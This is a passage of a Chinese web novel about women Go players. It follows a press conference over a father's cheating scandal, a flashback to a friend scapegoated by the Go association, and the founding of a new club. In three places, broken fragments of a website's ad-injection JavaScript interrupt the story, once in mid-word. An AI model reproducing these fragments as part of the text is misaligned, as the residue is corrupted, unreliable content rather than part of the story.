“我认识你,你是京城日报的记者刘柏巍。你把话明明白白地传回去——”言宜歌爽快地,“对,我骂的就是元修明这个生儿子没屁/眼的……” 话太糙了。谢砚之眼皮一跳,犹豫了一下要不要上台劝阻。台下记者一片哗然。 “……和元天宇这个没屁/眼的。” 谢砚之认命地合上了眼睛。 台下哄闹,言宜歌生怕别人听不清她的声音,用手攥成拳头,重重地捶向披着红绸的木质桌面: “我要下棋!我离开京城华一,就是为了下棋!我要下给所有轻视我、利用我、压榨我的人看,这群……” 言宜歌骂急了,嘴里冒出了一串叽里咕噜的朝语。 谢砚之大步上台,掐了她的麦克风,言宜歌尖锐愤怒的声音瞬间静了,她带着怒意瞪向来人。台下也跟着安静下来,于是每个人都能听见谢砚之以一副兄长的口吻,慢条斯理地批评言宜歌: “宜歌,差不多就可以了,没有必要骂他们是鼻孔接大肠连呼吸都很晦气的狗崽子。” 众记者:…… 死寂之后,又是一片埋头速记声。台下听众都为谢砚之用这么温柔的语气说出这么暴力的脏话感到一阵惊悚。 也不知道谢砚之特意上台是来控制局势的,还是专程来给师妹做翻译的。要是没他这一搅合,还没人听得懂这一串。 言宜歌貌似也骂够了、消气了,高扬着下巴勉为其难地点了点头,谢砚之索性接过主持人的工作,举起话筒向记者们,公事公办地: “本次世界女子邀请赛的亚军庭见秋棋手也已经来到了会场,我们掌声邀请她上台来,也向她提几个问题。” 谢砚之望向会场入口处,和庭见秋略带诧异的眼神对上,一笑。 她还以为自己藏得很好。 大厅里,记者们顺着谢砚之的眼神纷纷拧过身去,举起沉重的摄像机,对准正从大门口小步跑上台的庭见秋一阵猛拍。 按快门时的清脆声响,耀目的闪光灯,都让庭见秋有些喉口发紧。 她拉开言宜歌身边的椅子,坐下,言宜歌把被谢砚之掐灭的桌面话筒重新摁亮,调整高度,转向她。 庭见秋知道,坐在这个位子上,眼前数十个摄影机和话筒,国内大大小小的体育媒体,没有一个是来恭喜她以业余棋手的身份拿下世界女子邀请赛的亚军的。 他们都是来探庭岘五段的作弊往事,要在她身上扒一层皮的。 果然,第一个举手的,便是刚刚被言宜歌认出来自京城日报的体育记者刘柏巍,一名留着查理王小猎犬式的贴耳灰白长发、书卷气很重的中年男性: “庭见秋选手,你对昨天凌风体育发表的,有关你父亲庭岘五段在中日擂台赛上作弊的文章,有什么回应吗?” 庭见秋心知来者不善,坐得板正,直视男记者带着怀疑与审视的眼,按照自己打好的腹稿答道: “我父亲在这场比赛中违规移动棋子,受到棋协的处罚,属实。但赛后我父亲立刻确诊了脑部胶质瘤,这是一种会影响患者性情行为的肿瘤…… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “但并不能百分百确定,庭岘五段作弊到底是出自主观意愿,还是受到肿瘤影响,是不是?” 庭见秋一顿。 棋协的处罚结果出来之后,老爸从来没有和她们提及这件摧毁了他引以为信仰的职业生涯的事。他变得异常沉默,躺在床上时,总是眼神发虚地望着天花板,面容灰败。 庭见秋总觉得,肿瘤不可能把坚强乐观的老爸摧磨成这副心如死灰的模样。能让老爸如此的,只有无棋可下的伤心。 她也从来没有问过老爸当时究竟是怎么回事,她无比信任老爸,不必用疑问来折辱他。 庭见秋缓慢地回答:“不能确定,棋协也是因此保留了处分。” 刘柏巍面露轻蔑的笑意,不紧不慢地继续质询:“所以你承认这篇报道都是实情?据我所知,华国职业围棋史上这样低级粗劣的作弊,仅此一例,恐怕只有幼儿园兴趣班里的小孩能干得出换棋子的事来……” 台下,一个怀抱着相机、扎着麻花小辫的女记者,腾地站起来,厉声回击道:“刘柏巍,你还知不知道你是记者?你是在提问还是在羞辱人?在核实真相还是在煽动情绪?” 是杨惠子。 刘柏巍又困惑又好笑地瞥了眼她的胸牌:“凌风体育的?这篇稿子不就是你家发出来的吗?如果新闻内容不实,恐怕在座同行里最没资格批评我职业道德的就是你了吧。” 杨惠子气得梗着脖子,顿觉胸前工作牌重如千钧,压得她说不上话来。 庭见秋沉声应道: “我父亲已经过世十三年,我没有来得及问他当时的情境,也再也没有机会了。我的棋是他教的,能替他言说的,替他证明清白的,只有我手上的棋。 “——我会用我的棋证明,以我父亲的能力,无需在一场预选赛上作弊,在此之前他所有的胜局,也都赢得堂堂正正。” 刘柏巍显然没有料到她面对连番质疑,还能顽强冷静如此,转而又像是嘲讽她的天真,似笑非笑地接着说: “我知道,庭见秋棋手即将参加今年七月的定段赛。你今年25岁,这是你成为职业棋手的最后机会。但是你有没有想过,就算你真的能拿下全国仅有的两个女子定段资格,成为职业棋手,就凭你父亲这件事,也压根不会有俱乐部敢签你? “你别忘了,现在可不比二十年前职业棋手还吃国家饭的日子。如今华国围棋全面商业化,各地俱乐部都靠着商业赞助才能运行,棋手的名誉就是它们的饭碗,谁敢让你去砸它们的牌子?” 他似突然想起什么,又转向言宜歌: “对了,还有你,言宜歌三段。”刘柏巍做作地咬字,“你当着这么多家媒体的面,大放厥词,离了京城华一,你还能找到下家?别做梦了,趁早和这位亚军一起找个围棋学校,当女老师吧。” 言宜歌怒气上头,猛地站起,身子前倾,两只泛白的手掌撑在桌面上:“你这个——” 庭见秋正要牵住她,忽听有人自门口扬声而来: “谁说没有人签她们?” 沉稳动听的女声,如劲风卷过,众声一时偃息。方才还喧闹万分的大厅内,此时静得令庭见秋可以听到自己急促的呼吸声。 谢颖缓步上台,站在庭见秋和言宜歌的身后,将手轻轻搁在言宜歌肩上,示意她坐下,又用另一只手,抚了抚庭见秋的长发。 ——庭见秋想起十三年前,她和谢颖在女厕所里的初见,谢颖好像也是这样,摸了自己的头发。 谢颖低下头来,对两个女孩温声道: “江陵长玫,我新创办的俱乐部,欢迎二位的加入。” 21.长玫往事 “我筹备江陵长玫,有一阵子了。正好砚之说想和华一解约,我就让他来帮我。” 江陵郊区,谢家的独栋别墅里,为研究围棋专辟出来的宽敞棋室中,言宜歌和庭见秋在沙发上,谢颖坐在棋桌前,谢砚之搬了把椅子来,坐在靠近门的地方,不远不近地旁听。 棋室氛围沉静,沙发材质细腻绵软,言宜歌累了一天,四仰八叉,将整个身子陷在沙发里,两条长腿此刻成了碍事的摆设,她巴不得把腿卸了,还能坐得更舒服些。庭见秋则有些拘谨,坐得像个刚刚驯服四肢的小学生,一眨不眨地盯着谢颖面带和色的脸,听得专注认真。 “今天叫你们来,是想给你们讲讲故事,告诉你们我为什么要建立江陵长玫,以及,我想建成一家怎样的俱乐部。” * 长玫,取自谢颖少女时期的挚友陆长玫的名字。 三十年前,她们是国家队里唯二的女生,被棋迷戏称为“双姝”。 国家队集训场地,位于京城郊外的一座老旧棋院中。她们二人除去在全国各地比赛,都在国家队里参加集训。棋院里只有一间公共澡堂,她们要洗澡,只能抱着装满换洗衣物和香皂的脸盆,去棋院外食堂阿姨的老宿舍里借浴室,湿着发回棋院,还要像捉迷藏一样,躲过棋院里的男棋手。晚间男棋手集训,乌泱泱地坐在大厅里摆棋,几十名青年肉身紧贴地挤在几张棋桌边上,甚至有下得兴奋起来就把上衣脱了的,还有的说话如雷,一输棋就大吵大嚷、揎拳掳袖的,她们不便参与,躲在门边偷听偷看,或是两个人缩在宿舍房间里,对弈摸索。 谢颖定段之后的几年韶华,都和陆长玫,在棋院里躲躲闪闪地度过了。那时她并不觉得有什么不公平、不方便,反倒有些好玩,男棋手们状似无意的注视让她觉得很刺激。她知道自己虽然是个整日里披头散发、大声尖叫的疯丫头,还早早近视,戴着一副厚如瓶盖的眼睛,但模样还称得上漂亮;而陆长玫年长一些,比她文静得多,生了一张秀气的瓜子脸,更受棋院里男棋手的欢迎,入队不久便谈了个男朋友。 她最喜欢棋院里漫长的夏天,蝉声热烈,阳光如泼金般耀眼,棋院灰墙之上,爬山虎攀高疯长,巴掌大的叶片闪着翡翠一般的澄明绿意,偶尔风起,一片好听的枝叶颤动之声。教练买来西瓜、冰棍,总是先叫她们来吃,她俩就捧着一怀的好吃的,嘻嘻哈哈地跑回楼上的房间,趴在床上翘着脚,一边吃一边漫无边际地闲聊。 谢颖知道自己的棋不如陆长玫。陆长玫不仅下得比她好,还比棋院里绝大多数男棋手还要好。队内两两抓对比赛,陆长玫无论输赢,照样回房间复盘,谢颖猜不出来战果,问她也不说,只能去偷听教练训话,听到那句熟悉的“连个女的你都下不过”,就可以兴高采烈地回来恭喜陆长玫了。 集训艰苦。夜半,两个女孩一人睡上铺,一人睡下铺,小声地彼此鼓励着,畅想谁能做华国第一名女九段,谁能做华国第一名女国手。 谢颖问:“可是做了九段之后能怎么样呢?再也没有升段的空间了啊。” 陆长玫笑她笨:“那就打比赛,当世界冠军啊!日国、朝国也有很多下棋的人,把他们都打败。” “当了世界冠军之后呢?” “接着参加比赛,拿更多的世界冠军,赚好多奖金,在家里摆满奖杯……” 不久,她们真的取得了参加世界大赛的机会:第二届小松制造杯,在朝国举行。中国队一共7名参赛队员,陆长玫和谢颖在队内选拔赛里战绩突出,双双出线。陆长玫被选为副将,谢颖只争得一席替补,可能没有上场的机会,但她仍然欣喜不已。这将是她第一次坐飞机、第一次出国,差旅食宿费用,都由国家队报销。 抵达朝国之后,陆长玫一直在训练室里备战,研究对手的棋谱,和教练一起设计战术。谢颖倒很轻松,每天除了陪陆长玫下两盘棋,维持手感,剩下的时间在首尔到处玩,每天吃得肚皮鼓鼓回宾馆,还给陆长玫带了一堆新奇玩意。 陆长玫和谢颖一样,自小在农村长大,再怎么专心备赛,还是忍不住对谢颖的首尔见闻好奇。好在谢颖也乐于分享,每晚熄灯后,就叽里呱啦地补上一日见闻。 前几日赛程都很顺利。作为世界级比赛上第一名在决赛亮相的女棋手,陆长玫两胜一负,为华国队取得不少积分,国内外报道不断。 她那时的男朋友也在赴朝国家队之中。男友对陆长玫说,现在华国占优,与其每天紧绷着练棋,不如轻松一下,去卡拉OK里玩。 八十年代末,首尔的城市化进程突飞猛进,已从临近的日国引进了卡拉OK。华国京城还没有这样新奇的玩意,陆长玫只在新闻上听说过,一直想亲眼见证一下。 陆长玫的男朋友也问了谢颖要不要去。 可是那一天,谢颖来例假了,疼得动弹不得。 她怎么也无法忘记在朝国的那个夜晚。她抱着钝痛的小腹,侧身卧在宾馆的单人床上,呆呆地望着窗外。弦月初升,如半枚玉珏,煌煌地照彻一夜空的如雾轻云。身侧床上空无一人。她寂寞无比,为了自己不能去玩而伤心,在心里默默祈祷陆长玫玩够了就回来,跟她说说卡拉OK到底是什么。 凌晨一点,宾馆房间的门被打开,走廊稀薄的光线顺着门沿透进来,晦暗不清地照亮陆长玫的脸:她穿着入时,学着电视里的朝国明星勾了眼线、涂了嘴唇,却是一脸的魂不守舍。 谢颖迷迷糊糊地从床上爬起来:“好玩吗,长玫?” 陆长玫用她从来没有听过的、木愣愣的语气,说:“小颖,我好像闯祸了。” 她说,她按照约定的时间,抵达首尔最繁华的街区,找到那家卡拉OK,进去之后,令她有些不安的、五光十色的灯光之下,她男朋友正在唱歌,角落里还坐着两个她没见过的男人。男朋友搂着她,向那两个男人介绍了她的身份,却没有告诉她那两个男人是谁。见那两个男人长相都很儒雅文气,也对她很有礼貌地点头微笑,她便放下戒心,和男朋友一起玩起来。 没几分钟,男友说突然想起晚上和教练有约,但是卡拉OK包夜的钱已经付了,让她什么也不用管,玩过瘾再回宾馆。 陆长玫难得放肆,正在兴头上,没多想就答应了。 坐在角落里的那两个男人显然没有要和她抢麦的意思,任由她霸占着点歌台、不着调地又唱又跳她在此之前从没听过的朝语歌,时不时彼此凑近说两句悄悄话。 等她蹦累了,出了一身汗,刘海都蒙在额头上,她终于想到房间里不止有她,大方地递出了麦: “你们要唱两首吗?” 其中一个男人本能地接话了,开口却是她听不懂的语言。 不像朝语,更像日语。 她登时冷静下来,一身薄汗在K歌房里嗡鸣的空调吹拂下,冰凉刺骨。 陆长玫再怎么被城市蜃景冲昏头脑,此刻也恢复了理智,几乎是逃一样地离开了卡 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 拉OK,拦了一辆出租车直奔宾馆。 陆长玫紧紧抓着谢颖的手:“怎么办,如果那两个日国人是日方棋队里的人,我该怎么办?” 谢颖听得头皮发麻,也只好不停安慰她:“不会的,你男朋友也知道纪律,不可能私会日国棋手,估计就是他认识的朋友,或者是什么棋迷粉丝,来一起玩玩……” 陆长玫好不容易才安心下来,两个人窝在一张床上睡了一夜,中午才醒,吃了酒店提供的中饭,陆长玫就出发去参加下午的比赛。 当昨晚那两个男人之一坐在她的对面,冲她微笑,用蹩脚的中文说你好又见面了,陆长玫整个脑子一片空白。 她不知道这局棋是怎么结束的,只知道自己输得异常惨烈,从布局开始,失误不断,刚过一百手便大势已去,只能投子认输。教练不敢相信她竟然下出这么臭的棋,就这么毫无抵抗地丢了一盘,对着她的背影怒骂,她浑然不觉,也没有留下参加复盘,失魂落魄地回了宾馆。 见到谢颖的一瞬间,陆长玫失声痛哭。 她什么也没说,谢颖对今日战况一无所知,可在陆长玫猛地蹲下身子大哭不止的那一瞬,谢颖也跟着哭起来。 两个二十岁出头的女生,在异国他乡的宾馆里,紧抱彼此,眼泪鼻涕和对方的头发混在一起,哭得分不清是谁的声音。 几天前,两人还以为这场世界比赛就是她们围棋职业生涯腾飞的起始点,她们会在这场比赛中取得第一个世界级团体类奖项,向世界证明,女孩也能下棋,能拿世界冠军。 如今一切已成梦幻泡影,两人的床头稚语,不过是一场笑话。 接下来几天,陆长玫连输两场,华国队除主将如常之外,其他棋手也发挥不佳,积分跌至三国垫底。教练立即调整战术,让谢颖顶替陆长玫坐副将席参赛。谢颖顶着压力,下得艰难,竟然赢下了最后两局棋。最终的积分榜上,华国仍是最后一名,但谢颖最后两局逆势赢棋,让华国输得没有那么难看。 回国之后,陆长玫被棋协带走调查。 三天后,谢颖没有等来陆长玫,只见棋院入口的公告栏里,贴出了一张处分通知: 陆长玫在朝比赛期间,私会日国男棋手,作风不端,造成松下制造杯华国失利。记大过一次,禁赛三年。 又过了半个月,陆长玫回到国家队,收拾行李。 谢颖见到陆长玫瘦得不成样子,过去棋桌前神采飞扬的女棋手,如今形销骨立,憔悴不堪,她立时眼泪汪汪,一边帮陆长玫收拾,一边用脏兮兮的手背擦脸,抹了一脸泥。 陆长玫告诉她,在比赛期间,教练就收到了匿名举报信,信里有自己和日国棋手在卡拉OK的照片。教练当下并没有找她核实,而是直接联系日方棋手,确认这件事属实。棋协找她调查时,她申辩说自己的男朋友也在现场,可彼时监控并未普及,她拿不出证据,更何况她的确和两名日国棋手有一段单独相处的时间。如今,华国输棋,举国议论之声四起,必须要找个人背黑锅,平息民愤,她是最好的人选。 水杏杨花,祸国红颜,简直太符合大众的口味了。 对一个女棋手而言,职业的黄金时期,有几个三年?就算三年之后,她厚着脸皮回来下棋,也再也不会有参加比赛的机会了。 …… “当时长玫的男朋友,正是华国队的主将,”谢颖对着眼前的三个年轻棋手,淡声道,“现在的棋协会长,元修明九段。” 22.格列佛游记 三十年后的如今,谢颖回想起她因例假腹痛躺在宾馆床上、等待陆长玫从卡拉OK回来的那个夜晚,看到的月亮。半明,半暗,预示着分裂,从此将她和陆长玫指向不同的人生轨迹: 谢颖留在国家队,继续下棋。少了陆长玫的照拂,她竟然胆大了,男棋手夜间集训,她也不管不顾地往人堆里挤,她蛮横起来,男棋手反而给她让道、留座。个性的转变,也体现在棋上:她行棋力量变大,偏嗜凶狠的对杀,对手越善战,她越好战,以命相搏的下法,时常连教练都被震住: “谁教你这样下的?” 谢颖的嗓音褪去少女的稚气,低沉而坚定地传来:“没有人教我,我自己想这么下。” 陆长玫离开后,不时有新的女棋手加入国家队又离开,陆长玫睡过的床铺,满了又空,如月盈缺。唯独谢颖,如一枚顽固不化的钉子,扎在原地,不朽,不腐,不退。那几年,她逢比赛必报名,疯了似的满世界下棋。终于,在她二十四岁那年,她成为第一个在森田杯中进入总决赛的女棋手,以半目之差败于韩国棋圣韩智闵。同年,她拿到了围棋职业九段证书,成为华国、同时也是世界,第一名女九段。 她一直和陆长玫保持着联系。 陆长玫听从父母的安排,回到老家乡下,在镇上开了一家小棋院。她是棋院里唯一一位老师。 在乡下,人们只相信种地能长出粮食,养牲畜便有肉吃有奶喝,不相信黑白的棋子碰一碰木质的棋桌,便能像陆长玫所说的,敲出一个世界来。她收费不高,生怕连对围棋有些兴趣的孩子因为家庭经济原因而放弃,以至于不少有余裕的家庭拿她的棋院当便宜的托管班,将在家里捣蛋玩闹的孩子塞进来。陆长玫不管这些,只要孩子们坐在棋盘前,她便照旧教她的。 好不容易攒了些闲钱,陆长玫立即给谢颖写了第一封信,交代自己回乡下之后的近况。 “小颖,我现在是陆老师了,管十几个孩子,很威风的。”句末还画了一个笑脸。 一封信,跨越几重山、几重水,隔了好几天,才抵达谢颖手中。 谢颖在脆弱的信封的承受范围内,尽可能地把自己的生活事无巨细地写了上去,还附上了几盘她近期比较得意的棋。 谢颖写:“请陆三段指点。” 隔了两个月,回信终于寄到。 陆长玫在信中说,多谢她寄来的棋谱。在乡下,没有同等棋力的对手,她只能在想象中和自己下,收到谢颖的棋谱后,心里总是想着这几盘棋,开心多了。 后来,谢颖每有进益,每取得荣誉,总是能在数日后后收到陆长玫表达恭喜的信件。 信上,她的字遒劲有力,如古梅横生的枝丫,风骨卓然,似有无穷的、不屈的生命力,自墨迹之中漫漶而出。 离开棋队的第二年,陆长玫结婚了。对象是镇政府里的一个文职,她的初中同学,说话中气不足,慢声细气,举止有些古板,人不坏。她初中没读多久,就辍学去省里体校学棋,可这位初中同学竟然在相亲时立即便认出她来,说一直记得和她短暂成为同学的日子,那时候她是全班最聪明的学生,解题特别快。 不知道是不是在生活的尘埃里颠仆太久,对方说一句记得她过去光彩熠熠的样子,她顿觉自己被拾起,珍重地拭净,无比感动。 谢颖的比赛和训练太密集,她无法请假去参加陆长玫的婚礼,在信里再三致歉。 陆长玫回复:“你不要来乡下。如果我有能力,我会去找你。” 第三年,谢颖在棋院里训练时,突然被教练叫去,说有她的信。 她以为是陆长玫,雀跃地奔向收发室。——是陆长玫的讣告。邀请她,陆长玫一生中唯一的挚友,来长洲乡下参加葬礼。 电视剧里常演,重要的人离开时,人会感受到征兆,或胸闷,或头痛。 她这段时间什么不舒服都没有,脸上的痘痘全消了,吃什么都很香,睡得也好,一觉睡醒就是下棋,还总是赢。 可她立刻就知道这不是什么恶作剧。陆长玫走了,从她的生命里生生地剥离,撕裂,她仿佛有一半只有陆长玫才能理解的灵魂,从此和她一起坠入沉沉冥府之中。 平生千载期,一朝成逝水。* 她推掉接下来的几场比赛,来到陆长玫的老家。 绿皮火车,卧铺一日一夜,再转几次汽车,终于抵达的那一刻,她顿时明白为什么陆长玫要她不要来。眼前的村镇黄土扬尘,山水残破,塘里铺满厚厚一层垃圾与藻类,酝酿一股腐烂的不洁气味。街边平房歪斜低矮,路上行人见到她这张陌生的面孔,都露出冷漠警惕的神情。 这样穷陋的土地,竟能生长出一朵黄玫瑰。优雅,美丽,聪慧。然后又带走了她。 在葬礼上,她看到了陆长玫的丈夫,与她信里所写,别无二致,毫无意外,她甚至找不到多余的词汇来描述他。还见到了陆长玫的婆婆,小姑。一家人生得极其相像,站在葬礼堂前,如一个模子刻出来一般地面无表情,仿佛因为媳妇刚过门没多久,就麻烦他们家操办了一场葬礼,而有些不耐烦。 奠仪之下,只有她和陆长玫年迈的父母,哭得话都说不成句。 葬礼过后,陆长玫的丈夫将陆长玫的最后一封信,交到了谢颖的手上。 谢颖忍不住问:“她到底是得了什么病走的?为什么这么突然?” 男人露出迷茫的神色:“谁知道呢,镇里医院也看不明白。送进去两天,刚好一点,醒过来了,又过了几天,人就没了。” 谢颖在乡下又逗留两日,终于拼凑出陆长玫发病的经过: 棋院里,陆长玫组织学生们两两组队下棋。有两个五岁大的孩子,不肯好好下,一个下天元,另一个就挨着,一个长,另一个就往另一边长,一个拐头,另一个也拐头,把棋下成了两条紧贴着旋转盘旋的贪吃蛇,边下边嘻嘻笑。陆长玫巡视到这一桌时,气得脸色骤变,当场就把棋盘掀了,塑料棋子碎了一地。两个孩子吓得大哭。她说今天提前下课,走出棋院没两步,人就昏过去了。 谢颖记忆里的陆长玫,总是温柔宽容,从不见作色。人生中唯一一次盛怒,竟然是对两个不知事的孩子。 离开时,她带走了她寄给陆长玫的全部信件。 三十年来,她和陆长玫互换的信件,一直好好地保管在她身边,从京城,到江陵,总在她想起时可以随时翻阅的地方,用檀木小盒,妥善地放着。 陆长玫最后的那一封信,她读得最多,纸张被眼泪浸湿,又晾干,一次又一次。 陆长玫在信中写: “下棋二十年。我一直把自己当成一个棋手,从来没有在意过自己的性别。我相信棋盘上只有胜负,黑白子认不出男女。当棋协的领导,棋院的教练,说我不检点,作风不端,那一刻,我才想起来,我不仅是个棋手,我还是个女人。 “回乡三载,洗手作羹汤。丈夫平庸得就像我的生活,不那么好,也不至于过不下去。只要不去思考,闭着眼睛,一切困苦与不甘只会顺着皮肤划过,带来一阵令人麻木的浅痛,并不会真的摧伤我。 “只有无棋可下这一件事,带来的孤绝感,难以忍受。我像是进入《格列佛游记》中的国家,说着一门只有我会的语言。想你,想棋。我终于再一次想起来,我不仅是个女人,我还是个棋手。……” 哪怕她多撑两年,再咬牙辛苦两年呢。两年之后,网络围棋就诞生了,只要能连上网,哪怕是隔着一整个地球,也可以下棋了。可她在巴别塔建成的前夜,倒在塔底,死于心碎。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > * 谢颖的叙说在此终止。 棋室内,静得连言宜歌轻轻抽鼻子的声音都格外分明。 “这封信使我意识到,一个棋手想要单纯地下棋,是一件艰难的事。我能坚持下来,不是因为我能力强,仅仅是因为我运气好。”谢颖缓慢地,“正因如此,我要建立起这样一支棋队:在这里,你们可以只做下棋这一件事,我会替你们处理好所有围棋之外的事。” 庭见秋垂放于腿边的手,在兴奋之中攥紧。 谢颖补充:“我还会是你们的教练,陪伴你们的日常训练。至于薪水,我会按照你们现在的棋力水平,给出一个合理的数字。小秋还没有定段,会比他们俩低一点,可以吗?” 庭见秋噌地从沙发上站起来,大声:“可以!” “快坐下,我还以为你要打我。”谢颖笑眯眯地看着她,“先别答应得这么快,等看到合同之后再说。” 言宜歌也应得爽快:“我也可以。” 谢颖转向言宜歌:“但是棋队不会帮你还债哦小歌,你欠京城华一的一百多万解约费,还要你自己打比赛还上。” 言宜歌痛苦地应下了。挨在她身旁的庭见秋,第一次觉得自己不是人堆里最贫穷的一个,悄悄骄傲地挺直了腰板。 见言宜歌没有异议,谢颖笑说:“那我们今天就先这样,这几天我准备好合同,再寄给你们。接下来这段时间,小秋主要准备定段赛,小歌找点奖金高的比赛打打,其余的时间要好好练习,两个月后参加围乙,争取一次出线。” 围乙,华国围棋乙级联赛的简称,是仅次于甲级联赛的华国最重量级的团体赛。以棋队为单位,需报四名主力、一到两名替补,每场上阵四名棋手,按照胜局数量,排序积分。 谢颖的野心自然不止于围乙。 但新生的棋队只有在围乙取得前两名,才有资格进军围甲,与京城华一作战。 谢颖见两个小女孩似都有些紧张,柔声安慰道:“不要有压力,正常下就好。今年出线不了,就明年嘛,反正京城华一又不会突然解散,总有机会对上。” 一旁安静许久的谢砚之用如出一辙的温柔语气帮腔:“元修明也不会突然就死了。” 谢颖赞许地冲谢砚之点点头,满脸写着“吾儿深得朕心”六个大字。 言宜歌:……终于知道谢砚之这种扭曲的性格是从哪里学来的了。 商量完棋队的事,谢颖见时候不早,说给客人们准备晚饭,把棋室让给两个着急复盘上午对局的女棋手。谢颖和谢砚之刚一走出棋室,身后就传来如暴雨一般的落子声,和两人谁也不让谁的争辩。 谢颖喜欢这样的声音。她对谢砚之笑:“上午,小秋的布局很特别,我从来没有见识过。” 谢砚之道:“可惜还是有些粗糙。我看棋的时候就在想,妈的棋风更雄厚,如果能帮她打磨一下,会好很多。” 谢颖点头,笑眼弯弯:“我也是这样想的。等吃完晚饭,我就加入那两个孩子,希望她们不要嫌我年纪大了思维钝。” 等谢颖和谢砚之准备好晚餐,谢颖回棋室去叫客人吃饭。推门一看,庭见秋和言宜歌,双双跪坐在沙发前的软垫,上半身趴在沙发上,脑袋搁在胳膊里,像两只小鸟一样乖乖地睡熟了,两张睡得懵然的脸还相对着。桌上的棋摆了一半,乱糟糟地放着。 三十年前,她和陆长玫也会这样。下棋下累了,就说眯一会。说好只打十分钟的瞌睡,十分钟之后再战,最后却都睡得什么都顾不上了。 “妈,菜都摆上桌了。”谢砚之见谢颖不进门,隔着门静静地看着什么,系着围裙凑上来。 谢颖做出一个噤声的手势: “嘘,她们累了,让她们先睡会。菜一会再热。” 23.老头乐 聊得太晚,言宜歌和庭见秋在谢家一楼的客房里留宿一夜。 两人今天才刚认识,却遍历棋盘之上的针锋相对,与记者会时的并肩作战,如今又即将成为同事队友,哪怕是挤一张床上睡觉,也不觉得尴尬。 睡前,庭见秋终于有时间查看手机上的微信消息。 从昨天傍晚得知要迎战言宜歌的那一刻起,她就忙得没停下来过。如今微信里堆满了新消息。 师门群里,老徐、师弟小明、师妹小媚刷屏一般的“加油”和“恭喜”。也不知道他们是从哪得知她取得亚军的消息。满屏都是老徐爱用的老年表情包,喜庆得像过年。 佩佩夸张地发来了四五十条消息。她看到庭岘的新闻,担心庭见秋情绪不好,发来很多她刚捏成的黏土小猫照片。她知道庭见秋看到这些会开心。 还有江陵棋院的大群里。 明明她输了棋,赵良甫老师和祁同贤院长还是在大群里发红包庆祝。在平日里只有棋讯、今日却热闹非凡的群里,她见到了很多或熟悉或陌生的名字。 她将聊天框拉到最底,寻找她最在乎的一个人的名字—— 季芳宴没有回复她的消息,她知道,这是老妈特殊的默许。 庭岘的猝然离世,于她,于季芳宴,都是抹不平、化不开的一道疤。伟大利他如超人一般的母亲,是只存在于文学作品里的形象,季芳宴不是。季芳宴是凡人,如蚌怀沙,却十三年不见成珠,伤痕累累的怀抱无法敞开来,拥抱这世上唯一与她共呼吸同痛苦的女儿。但庭见秋都懂,不责怪她的不够无私,知道她的每一寸温柔都无比珍贵。 * 翌日,庭见秋醒得早,换衣洗漱完毕时,言宜歌还侧身昏死一般睡着,一头黑发压得蓬乱,头下枕头不知怎地被她压在两腿之间抱着。庭见秋见她不修边幅的睡相,顿悟昨晚为什么做梦被复活节兔子踢。 至客厅,谢砚之正在餐桌前吃早点。 邀请赛结束了,他却穿得比做工作人员的时候还板正,换了身裁剪合宜的铅灰色西装,胸前敞开,昨天挂着工作牌的领间,系着庭见秋认不出牌子却本能觉得价格不菲的黑灰纹领带。 见她来,还有些没睡醒的脸上现出笑意,抬手朝她挥了挥: “早。” 一桌的花式,有中有洋,显然是谢颖不知道她们爱吃什么,索性把眼见的款式全部买了一遍。 她应了句“早”,顺势坐在谢砚之身边,捡了个最实在的白面香葱花卷,就着豆浆吃,无意地向谢砚之身上一瞥。 她的视线顺着熨得平整的衣袖向下看去,西装袖口微露出半截白衬衣,别着暗金色的袖扣,纹样精致华美。白皙的、腕骨分明的手腕上,嵌着不分明的浅痣。 庭见秋问:“今天有工作吗,穿成这样?” 谢砚之大方地任她看:“要见江陵长玫的赞助方。” 庭见秋又问:“谢颖老师呢?” “一大早就出门,去准备给你俩的合同了。这周应该能寄到棋院。” 庭见秋感激地点点头。 谢砚之沉默半晌,斟酌着问:“见秋,昨天我妈说的,你真的想清楚了吗?言宜歌和京城华一不合,我妈也对元修明有怨,但你和京城华一、棋协体制,没有任何矛盾。如果加入我妈的棋队,和京城华一对立,难免会有一些受到掣肘的地方。” 庭见秋安静听着。 “那个记者只是吓唬你,事实上只要你能力够强,等风波过去,庭老师的事情根本不会到影响你的职业生涯。如果你需要,我可以给你写推荐信,京城华一恐怕困难,但武昌麒麟、喜州淮造,我都能说得上话。” 庭见秋认得他眼里恳切的善意。梅花鹿的眼。被山峰之上初化的雪水濯洗过一般,清澈温柔。 庭见秋展颜:“谢谢你,我已经考虑好了。” 当身处不公平的体制之中,如果不站在反抗的一侧,随波逐流,与加害无异。 虽然谢颖说,棋手只需要下好手上的棋。但如果行有余力,她希望围棋所处的外部环境,能变得更好。 言宜歌顶着一头杂草丛生似的头发,半梦半醒地逛进饭厅,仍穿着谢颖略显短的睡裙,见到谢砚之的一瞬,她一激灵,睁大眼: “哟,谢砚之,一大早对着空气开屏呢?” 谢砚之冲她微笑,不答,只重重地咬了一口手里的牛肉三明治,嚼嚼。 言宜歌接着:“都四月底的天了,还穿你那漂亮外套?不热得慌?” 谢砚之当没听见,端起用过的餐盘和喝了一半的咖啡,利落起身走人。 言宜歌不依不饶:“害羞啦?别走啊……脸没红,不会一大早还涂粉底液了吧?” 庭见秋这才发现谢砚之一贯的盛装之下,有刻意打扮过的痕迹,淡淡的,一笔不重。这是既要打扮、又不能让别人看出来自己打扮的痕迹。以及他发稍、耳畔、袖口,悄弥漫出来的香水气息。 谢砚之把餐具放在厨房水槽里顺手洗了,又折回来,不忘拍拍庭见秋的椅背:“你走的时候,我开车送你回棋院。” 言宜歌:“我也要回家,怎么不送我?” 谢砚之微笑,慢声提示: “出小区有公交站台,转两班就到你公寓楼下。记住千万不要打车,毕竟你现在还有一百多万的债要还。” 说完闪身跑了。 言宜歌气得牙痒,抬手扒拉一把头发,拉开庭见秋对面的座位,抓起桌上看起来最贵的蟹黄拇指包,一口一个。 “你俩有仇?”庭见秋好奇问。 言宜歌扁了扁嘴:“你想象一下,如果从你十几岁起,就有这么一个人,你怎么也赢不了……” 庭见秋试着想象了一下。很难,她从小都是当那个怎么也没法被战胜的那个。 